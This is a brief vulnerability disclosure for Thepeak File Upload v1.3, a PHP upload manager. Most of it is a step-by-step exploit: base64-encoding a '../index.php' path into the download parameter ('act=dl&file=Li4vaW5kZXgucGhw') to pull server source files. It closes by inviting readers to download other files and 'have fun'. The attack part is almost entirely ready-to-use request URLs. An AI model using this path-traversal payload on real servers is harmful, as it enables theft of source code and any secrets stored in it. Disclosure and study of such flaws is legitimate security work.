Thepeak File Upload v1.3 : Read file vulneability Discovered By: Phạm Đức Hải (Pham Duc Hai) Email: duchaikhtn (at) gmail (dot) com YIM : kiki_coco1985vn Website: http://blog.ajaxviet.com ------------------------- Description: file upload manager 1.3 written by thepeak (adam medici) copyright (c) 2003 thepeak of mtnpeak.net A simple, powerful tool to upload and manage files using your web browser. There are some bugs in Thepeak File Upload v1.3 : http://www.securityfocus.com/archive/1/378494 Today, I find out a bug in Thepeak File Upload v1.3 , this bug allows attacker can download source file(.php,...) from server. ------------------------- Exploit : http://somesite.com/example/index.php --> upload form Now, we upload one file to server, ex : test.jpg -->ok We have its url to view it : http://somesite.com/example/index.php?act=view&file=dGVzdC5qcGc= anh url to download it : http://somesite.com/example/index.php?act=dl&file=dGVzdC5qcGc= Notice that the value "dGVzdC5qcGc=" of parameter file is encoded 64 of " test.jpg" We need get source file http://somesite.com/index.php. Encode 64 path to index.php above : ../index.php --> Li4vaW5kZXgucGhw ==> we have the link to download source file index.php (notice act=dl) http://somesite.com/example/index.php?act=dl&file=Li4vaW5kZXgucGhw You can also download other files. Have fun!